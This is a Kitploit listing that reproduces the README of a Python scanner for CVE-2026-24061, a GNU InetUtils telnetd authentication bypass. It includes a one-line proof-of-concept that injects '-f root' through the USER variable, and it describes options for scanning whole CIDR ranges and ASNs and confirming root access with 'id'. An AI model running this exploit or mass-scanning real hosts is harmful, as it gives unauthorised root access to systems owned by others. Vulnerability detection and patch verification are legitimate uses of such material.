Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Twenty-Three-Scanner β€” CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass | Kitploit
Tools/GitHubGitHub/madfxr/twenty-three-scanner
ReconnaissanceVulnerability ScannersExploitationInformation GatheringNetwork SecurityPenetration Testing
GitHubmadfxr/twenty-three-scanner

Twenty-Three-Scanner

CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass

View Repository
4329 months agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools β†’
Share

πŸ›°οΈ Twenty-Three Scanner

A Powerful, Fast, and Elegant scanner for detecting vulnerable Telnetd services affected by CVE-2026-24061. Built with pure Python standard library - zero external dependencies required.

License: MIT Python 3.x Android Windows macOS Solaris FreeBSD Linux Offensive Security Ethical Hacking CVE-2026-24061 GNU InetUtils Telnetd


πŸ”— Table of Contents

  • βš–οΈ License
  • 🧩 Features
  • ☣️ Vulnerability Details
    • ⚑ Service Status
    • πŸ§ͺ Proof of Concept (PoC)
    • πŸ’₯ Affected Versions
    • 🧡 Patched Versions
    • βš”οΈ Attack Vector
    • 🚨 CVSS Score
  • πŸ› οΈ Installation
  • πŸ“œ Usage
  • 🎯 Examples
  • βš—οΈ Demos
  • πŸ“– References

🧩 Features

  • πŸš€ High-Performance Scanning – Multi-Threaded Architecture with Configurable Thread Count.
  • 🌐 Flexible Target Input – Support for Single IPs, CIDR Ranges, ASN Lookups, and File-Based Lists.
  • πŸ“Š Real-Time Progress – Beautiful Unicode-Based UI with Live Progress Bars.
  • πŸ€– ASN Intelligence – Automatic Prefix Fetching from RADB, BGPView, and HackerTarget APIs.
  • 🌍 GEO Location Intelligence – Real-Time ASN, Provider and Location Fetching from ipapi API.
  • πŸ’Ύ Graceful Interruption – CTRL+C Handling with Automatic Result Saving.
  • πŸ“ Detailed Logging – Configurable Verbosity Levels for Debugging.
  • πŸ›‘οΈ Safe Scanning – Built-In Limits to Prevent Accidental Massive Scans.
  • 🎨 Clean Output – Professional Bordered Tables with Scan Summaries.
  • πŸ“¦ Zero Dependencies – Pure Python 3.x Standard Library Only.

☣️ Vulnerability Details

CVE-2026-24061 is a critical authentication bypass vulnerability in GNU InetUtils Telnetd that allows unauthenticated remote attackers to gain root access by exploiting the NEW-ENVIRON option handling.


⚑ Service Status

The following is the Telnetd service configuration on the target host side.

image


πŸ§ͺ Proof of Concept (PoC)

And here is the Proof of Concept (PoC) for this vulnerability, which can be executed manually from the attacker's host simply by running the command USER="-f root" telnet -a <TARGET_HOST> 23.

image


πŸ’₯ Affected Versions

  • GNU InetUtils >=1.9.3 <=2.7.
  • Various embedded Linux distributions.
  • IoT devices with vulnerable Telnetd implementations.

🧡 Patched Versions

  • GNU InetUtils >=2.8.

βš”οΈ Attack Vector

The vulnerability exploits improper validation of the USER environment variable in the telnet NEW-ENVIRON (RFC 1572) option negotiation, allowing attackers to inject malicious values like -f root to bypass authentication.


🚨 CVSS Score

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.


πŸ› οΈ Installation

# Clone the Repository
cd /opt
sudo git clone https://github.com/madfxr/Twenty-Three-Scanner.git
cd Twenty-Three-Scanner

# Make Executable
sudo chmod +x twenty-three-scanner.py

# Run the Script
sudo python3 twenty-three-scanner.py -h

πŸ“œ Usage

The following is a manual for the Twenty-Three Scanner tool that can be used to detect the vulnerability CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass.

usage: python3 twenty-three-scanner.py [-h] [-t TARGET] [-f FILE] [-a ASN] [-p PORT] [--threads N] [--user-value VALUE] [--connect-timeout SEC] [--read-timeout SEC] [--id-timeout SEC]
                                       [--max-hosts-per-cidr N] [--max-total-hosts N] [--skip-large-networks] [-o FILE] [-v]

CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass

options:
  -h, --help            show this help message and exit

Target Options:
  -t TARGET, --target TARGET
                        target IP, CIDR, or comma-separated list (can be used multiple times)
  -f FILE, --file FILE  file containing targets (one per line, supports comments with #)
  -a ASN, --asn ASN     autonomous system number (e.g., AS10111 or 10111)

Scan Options:
  -p PORT, --port PORT  target port(s), comma-separated (default: 23)
  --threads N           number of concurrent threads (default: 50)
  --user-value VALUE    USER environment variable value for exploit (default: '-f root')

Timeout Options:
  --connect-timeout SEC
                        TCP connection timeout in seconds (default: 3.0)
  --read-timeout SEC    socket read timeout in seconds (default: 2.0)
  --id-timeout SEC      'id' command response timeout in seconds (default: 2.0)
Download Tool